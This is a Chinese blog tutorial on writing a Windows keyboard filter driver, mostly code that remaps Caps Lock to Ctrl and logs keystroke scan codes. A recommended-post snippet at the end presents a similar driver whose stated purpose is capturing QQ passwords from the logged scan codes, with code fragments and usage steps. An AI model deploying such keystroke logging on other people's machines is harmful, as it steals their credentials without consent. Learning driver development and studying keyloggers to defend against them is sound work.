初学驱动开发-windows驱动-键盘过滤驱动

6 篇文章 0 订阅

在入口DriverEntry函数做主要操作

1.AttachSysDevice(pDriverObject, L"\\Device\\KeyboardClass0");

2.取消关联驱动设备对象 pDriverObject->DriverUnload = DetachSysDevice;

3.添加IRP_MJ_READ并且参考代码实现DispatchRead

实例代码如下:

 
#ifdef __cplusplus
extern "C"
{
#endif
#include 
   
   
    
    
#ifdef __cplusplus
}
#endif 

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#define PAGEDDATA data_seg("PAGE")
#define LOCKEDDATA data_seg()
#define INITDATA data_seg("INIT")

#define arraysize(p) (sizeof(p)/sizeof((p)[0]))

typedef struct _DEVICE_EXTENSION { 
	PDEVICE_OBJECT pDevice;
    PDEVICE_OBJECT TopOfStack;  
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

//keyboard
#include "ntddkbd.h"
#define KEY_UP         1
#define KEY_DOWN       0

#define LCONTROL       ((USHORT)0x1D)
#define CAPS_LOCK      ((USHORT)0x3A)
ULONG gC2pKeyCount = 0;  
/************************************************************************
* 函数名称:AttachSysDevice
* 功能描述:关联系统驱动设备对象
*************************************************************************/
#pragma INITCODE
NTSTATUS AttachSysDevice (
		IN PDRIVER_OBJECT	pDriverObject,
		IN PCWSTR          SourceString)
{
	NTSTATUS status;
	PDEVICE_OBJECT pDevObj;
	PDEVICE_EXTENSION pDevExt; 
	UNICODE_STRING devName;
    WCHAR             messageBuffer[]  = L"Ctrl2cap Initialized\n";
    UNICODE_STRING    messageUnicodeString;
	//设备名称
	RtlInitUnicodeString(&devName,SourceString);
	
	//创建设备
	status = IoCreateDevice( pDriverObject,
						sizeof(DEVICE_EXTENSION),
						NULL, //不指定设备 在后面进行关联
						FILE_DEVICE_KEYBOARD,
						0, 
						FALSE,  //非独占
						&pDevObj );
	if (!NT_SUCCESS(status))
    { 
		return status;
	} 
	pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
	pDevObj->Flags |= DO_BUFFERED_IO; 
    pDevObj->Flags &= ~DO_DEVICE_INITIALIZING; 
	
    //
    //关联设备
    //
    status = IoAttachDevice( pDevObj, &devName, &pDevExt->TopOfStack ); 
    if( !NT_SUCCESS(status) ) {

        KdPrint(("Connect with keyboard failed!\n")); 
		IoDeleteDevice( pDevObj);
		return STATUS_SUCCESS;
    }  
	pDevExt->pDevice = pDevObj;
    return STATUS_SUCCESS;
}


/************************************************************************
* 函数名称:DetachSysDevice
* 功能描述:取消关联系统驱动设备对象 
*************************************************************************/
#pragma PAGEDCODE
VOID DetachSysDevice (IN PDRIVER_OBJECT pDriverObject) 
{ 
	
	PAGED_CODE();  
	KdPrint(("Enter DriverUnload\n")); 	  
	
	PDEVICE_OBJECT	pNextObj; 
	pNextObj = pDriverObject->DeviceObject;
	 
	PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)
		pNextObj->DeviceExtension;
	pNextObj = pNextObj->NextDevice;
	//从设备栈中弹出
	IoDetachDevice( pDevExt->TopOfStack);
	pDevExt->TopOfStack = NULL;

	//删除该设备对象
	IoDeleteDevice( pDevExt->pDevice ); 
	pDevExt->pDevice = NULL;
	
	//等待其他irp完成任务 避免蓝屏
    LARGE_INTEGER   lDelay;   
    //delay some time   
    lDelay = RtlConvertLongToLargeInteger(100 * -10000);  
	 while (gC2pKeyCount)  
    {  
	   KdPrint(("DetachSysDevice waiting..\n")); 
        KeDelayExecutionThread(KernelMode, FALSE, &lDelay);  
    }  
    KdPrint(("DetachSysDevice OK!\n")); 
	return; 
} 
 
//----------------------------------------------------------------------
// 
// ReadCompleteRoutine 
//
//----------------------------------------------------------------------
NTSTATUS ReadCompleteRoutine( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp,
    IN PVOID Context 
    )
{
  
    PIO_STACK_LOCATION        IrpSp;
    PKEYBOARD_INPUT_DATA      KeyData;
    int                       numKeys, i;

    //
    // Request completed - look at the result.
    //
    IrpSp = IoGetCurrentIrpStackLocation( Irp );
    if( NT_SUCCESS( Irp->IoStatus.Status ) ) {

        //
        // Do caps-lock down and caps-lock up. Note that
        // just frobbing the MakeCode handles both the up-key
        // and down-key cases since the up/down information is specified
        // seperately in the Flags field of the keyboard input data 
        // (0 means key-down, 1 means key-up).
        //
        KeyData = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
        numKeys = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

        for( i = 0; i < numKeys; i++ ) {

            KdPrint(("ScanCode: %x-%c", KeyData[i].MakeCode, KeyData[i].MakeCode+11-24+'0'));
            KdPrint(("%s\n", KeyData[i].Flags ? "Up" : "Down" ));

            if( KeyData[i].MakeCode == CAPS_LOCK) {

                KeyData[i].MakeCode = LCONTROL;
            } 
        }
    }

    //
    // Mark the Irp pending if required
    //
    if( Irp->PendingReturned ) {

        IoMarkIrpPending( Irp );
    }
	gC2pKeyCount --;
    return Irp->IoStatus.Status;
}

//----------------------------------------------------------------------
//
//IRP DispatchRead 
//
//----------------------------------------------------------------------
NTSTATUS DispatchRead( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp )
{
    PDEVICE_EXTENSION   devExt;
    PIO_STACK_LOCATION  currentIrpStack;
    PIO_STACK_LOCATION  nextIrpStack;
	
	gC2pKeyCount ++;
    //
    // Gather our variables.
    //
    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
    nextIrpStack = IoGetNextIrpStackLocation(Irp);    

    //
    // Push params down for keyboard class driver.
    //
    *nextIrpStack = *currentIrpStack;

    //  
    // Set the completion callback, so we can "frob" the keyboard data.
    //	    
    IoSetCompletionRoutine( Irp, ReadCompleteRoutine, 
                            DeviceObject, TRUE, TRUE, TRUE );

    //
    // Return the results of the call to the keyboard class driver.
    //
    return IoCallDriver( devExt->TopOfStack, Irp );
}


/************************************************************************
* 函数名称:DriverEntry
* 功能描述:驱动程序入口函数 
*************************************************************************/
#pragma INITCODE
extern "C" NTSTATUS DriverEntry (
			IN PDRIVER_OBJECT pDriverObject,
			IN PUNICODE_STRING pRegistryPath	) 
{
	NTSTATUS status;
    ULONG                  i;
	KdPrint(("Enter DriverEntry\n"));
	
	KdPrint(("listen Key drirver!\n"));
	//关联驱动设备对象
	status = AttachSysDevice(pDriverObject, L"\\Device\\KeyboardClass0");

	//取消关联驱动设备对象
	pDriverObject->DriverUnload = DetachSysDevice;  
		  
	//IRP read
    pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; 
	KdPrint(("DriverEntry end\n"));
	return status;
}
   
   

注意事项:

在取消驱动关联的时候需要做个等待

 
 
//等待其他irp完成任务 避免蓝屏
LARGE_INTEGER lDelay ;
//delay some time
lDelay = RtlConvertLongToLargeInteger ( 100 * - 10000 );
while ( gC2pKeyCount )
{
KdPrint (( "DetachSysDevice waiting.. \n " ));
KeDelayExecutionThread ( KernelMode , FALSE , & lDelay );
}

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值